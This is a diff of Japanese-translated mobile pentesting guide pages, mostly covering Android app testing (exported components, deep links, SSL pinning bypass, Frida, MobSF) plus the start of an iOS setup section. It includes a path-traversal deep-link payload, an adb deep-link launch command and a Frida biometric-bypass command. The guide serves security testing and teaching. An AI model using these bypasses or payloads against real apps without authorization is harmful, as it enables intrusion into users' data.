> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。
|
||||||
|
|
||||||
**機密情報の漏洩**
|
**機密情報の漏洩**
|
||||||
|
|
||||||
@ -333,22 +333,22 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||||||
|
|
||||||
### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作**
|
### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作**
|
||||||
|
|
||||||
[**コンテンツプロバイダーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
|
[**コンテンツプロバイダーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
|
||||||
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
|
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
|
||||||
|
|
||||||
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
|
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
|
||||||
|
|
||||||
### **サービスの悪用**
|
### **サービスの悪用**
|
||||||
|
|
||||||
[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
|
[**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
|
||||||
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
|
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
|
||||||
|
|
||||||
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
|
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
|
||||||
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
|
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
|
||||||
|
|
||||||
### **ブロードキャストレシーバーの悪用**
|
### **ブロードキャストレシーバーの悪用**
|
||||||
|
|
||||||
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
|
[**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
|
||||||
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
|
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
|
||||||
|
|
||||||
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\
|
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\
|
||||||
@ -356,7 +356,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||||||
|
|
||||||
### **スキーム/ディープリンクの悪用**
|
### **スキーム/ディープリンクの悪用**
|
||||||
|
|
||||||
手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
|
ディープリンクを手動で探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
|
||||||
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
|
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
|
||||||
```bash
|
```bash
|
||||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||||
@ -381,7 +381,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
|
|||||||
**パス内のパラメータ**
|
**パス内のパラメータ**
|
||||||
|
|
||||||
**URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
|
**URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
|
||||||
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細な情報は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細については[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||||
|
|
||||||
**さらなる例**
|
**さらなる例**
|
||||||
|
|
||||||
@ -395,7 +395,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
|
|||||||
|
|
||||||
#### 証明書の検証
|
#### 証明書の検証
|
||||||
|
|
||||||
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。
|
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供します。
|
||||||
|
|
||||||
#### SSLピンニング
|
#### SSLピンニング
|
||||||
|
|
||||||
@ -403,13 +403,13 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
|
|||||||
|
|
||||||
#### トラフィックの検査
|
#### トラフィックの検査
|
||||||
|
|
||||||
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
|
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドについては、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
|
||||||
|
|
||||||
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
|
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
|
||||||
|
|
||||||
#### SSLピンニングのバイパス
|
#### SSLピンニングのバイパス
|
||||||
|
|
||||||
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のために利用できるさまざまな方法があります:
|
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります:
|
||||||
|
|
||||||
- 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
- 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||||
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||||
@ -427,11 +427,11 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検
|
|||||||
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\
|
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\
|
||||||
Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。
|
Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。
|
||||||
|
|
||||||
- Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/)
|
- Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/index.html)
|
||||||
- Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
- Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||||
- OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
- OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||||
- ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
- ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスすることを試みてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
||||||
|
|
||||||
### **メモリダンプ - Fridump**
|
### **メモリダンプ - Fridump**
|
||||||
|
|
||||||
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||||||
```
|
```
|
||||||
### **Keystore内の機密データ**
|
### **Keystore内の機密データ**
|
||||||
|
|
||||||
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ者がこのデータを盗むことができるかもしれません。
|
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ誰かがこのデータを盗むことができるかもしれません。
|
||||||
|
|
||||||
アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。
|
アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。
|
||||||
|
|
||||||
@ -468,9 +468,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||||||
```
|
```
|
||||||
### **バックグラウンド画像**
|
### **バックグラウンド画像**
|
||||||
|
|
||||||
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときに、アプリがより早く読み込まれているように見えます。
|
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
|
||||||
|
|
||||||
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
|
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**があります(アクセスするにはルート権限が必要です)。
|
||||||
|
|
||||||
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
|
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
@ -491,7 +491,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||||||
### Essential Takeaways
|
### Essential Takeaways
|
||||||
|
|
||||||
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
|
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
|
||||||
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不正な操作を実行するためにリダイレクトされる可能性があります。
|
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不安全な操作を実行するためにリダイレクトされる可能性があります。
|
||||||
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
|
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
|
||||||
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
|
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
|
||||||
|
|
||||||
@ -530,19 +530,19 @@ MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも
|
|||||||
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動**する必要があります。_\
|
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動**する必要があります。_\
|
||||||
**MobSF動的アナライザー**は以下を行うことができます:
|
**MobSF動的アナライザー**は以下を行うことができます:
|
||||||
|
|
||||||
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、取得したいときに押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、取得したいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
|
||||||
- **HTTPSトラフィックをキャプチャ**
|
- **HTTPSトラフィックをキャプチャ**
|
||||||
- **Frida**を使用して**ランタイム** **情報**を取得
|
- **Frida**を使用して**ランタイム**の**情報**を取得
|
||||||
|
|
||||||
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||||
|
|
||||||
**Frida**
|
**Frida**
|
||||||
|
|
||||||
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\
|
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
|
||||||
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
|
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
|
||||||
|
|
||||||
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
|
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\
|
||||||
MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただ**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。
|
MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -551,15 +551,15 @@ MobSFは、独自の**Fridaスクリプト**を読み込むこともできます
|
|||||||
- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します
|
- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します
|
||||||
- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
|
- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
|
||||||
- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
|
- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
|
||||||
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが印刷されます。
|
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。
|
||||||
- **クラスパターンを検索**:パターンでクラスを検索
|
- **クラスパターンを検索**:パターンでクラスを検索
|
||||||
- **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
- **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
||||||
|
|
||||||
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
|
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
|
||||||
|
|
||||||
**Shell**
|
**Shell**
|
||||||
|
|
||||||
Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル** **コマンド**を持つシェルも提供します。いくつかの興味深いコマンド:
|
Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド:
|
||||||
```bash
|
```bash
|
||||||
help
|
help
|
||||||
shell ls
|
shell ls
|
||||||
@ -595,7 +595,7 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT
|
|||||||
|
|
||||||
### [Qark](https://github.com/linkedin/qark)
|
### [Qark](https://github.com/linkedin/qark)
|
||||||
|
|
||||||
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**および**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
|
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
|
||||||
```bash
|
```bash
|
||||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||||
qark --apk path/to/my.apk
|
qark --apk path/to/my.apk
|
||||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**MARA**は**モバイルアプリケーションの逆コンパイルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
|
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPのモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
|
||||||
|
|
||||||
以下のことが可能です:
|
以下のことが可能です:
|
||||||
|
|
||||||
@ -665,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
- [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する
|
- [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する
|
||||||
- 正規表現を使用してAPKからプライベート情報を抽出する
|
- 正規表現を使用してAPKからプライベート情報を抽出する
|
||||||
- マニフェストを分析する
|
- マニフェストを分析する
|
||||||
- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する
|
- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、および[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する
|
||||||
- [apk-deguard.com](http://www.apk-deguard.com)を介してAPKをデオブフスケートする
|
- [apk-deguard.com](http://www.apk-deguard.com)を介してAPKをデオブフスケートする
|
||||||
|
|
||||||
### Koodous
|
### Koodous
|
||||||
@ -688,10 +688,10 @@ APKをデオブフスケートするためのステップバイステップガ
|
|||||||
|
|
||||||
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした:
|
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした:
|
||||||
|
|
||||||
- リソースをInputStreamとして読み込む;
|
- リソースをInputStreamとして読み込む;
|
||||||
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
||||||
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
|
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
|
||||||
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
||||||
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
|
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
|
||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
@ -720,7 +720,7 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供
|
|||||||
|
|
||||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||||
|
|
||||||
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
|
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -10,13 +10,13 @@ iOSデバイスを一意に識別するために、UDIDと呼ばれる40桁の
|
|||||||
|
|
||||||
Catalina以前のmacOSバージョンでは、iTunesがUDIDの発見を助けます。詳細な手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で確認できます。
|
Catalina以前のmacOSバージョンでは、iTunesがUDIDの発見を助けます。詳細な手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で確認できます。
|
||||||
|
|
||||||
コマンドラインツールはUDIDを取得するための代替方法を提供します:
|
コマンドラインツールは、UDIDを取得するための代替手段を提供します:
|
||||||
|
|
||||||
- **I/Oレジストリエクスプローラーツール `ioreg`を使用:**
|
- **I/O Registry Explorerツール `ioreg`を使用:**
|
||||||
```bash
|
```bash
|
||||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||||
```
|
```
|
||||||
- **macOS(およびLinux)用の`ideviceinstaller`の使用:**
|
- **`ideviceinstaller`をmacOS(およびLinux)で使用する:**
|
||||||
```bash
|
```bash
|
||||||
$ brew install ideviceinstaller
|
$ brew install ideviceinstaller
|
||||||
$ idevice_id -l
|
$ idevice_id -l
|
||||||
@ -33,7 +33,7 @@ $ instruments -s devices
|
|||||||
|
|
||||||
**SSHアクセス**は、**OpenSSHパッケージ**を脱獄後にインストールすることで有効になり、`ssh root@<device_ip_address>`を介して接続できます。デバイスを保護するために、ユーザー`root`と`mobile`のデフォルトパスワード(`alpine`)を変更することが重要です。
|
**SSHアクセス**は、**OpenSSHパッケージ**を脱獄後にインストールすることで有効になり、`ssh root@<device_ip_address>`を介して接続できます。デバイスを保護するために、ユーザー`root`と`mobile`のデフォルトパスワード(`alpine`)を変更することが重要です。
|
||||||
|
|
||||||
**USB経由のSSH**は、Wi-Fiがない場合に必要となり、`iproxy`を使用してデバイスポートをSSH接続用にマッピングします。この設定により、次のコマンドを実行することでUSB経由でSSHアクセスが可能になります:
|
**USB経由のSSH**はWi-Fiがない場合に必要となり、`iproxy`を使用してデバイスポートをSSH接続用にマッピングします。この設定により、次のコマンドを実行することでUSB経由でSSHアクセスが可能になります:
|
||||||
```bash
|
```bash
|
||||||
$ iproxy 2222 22
|
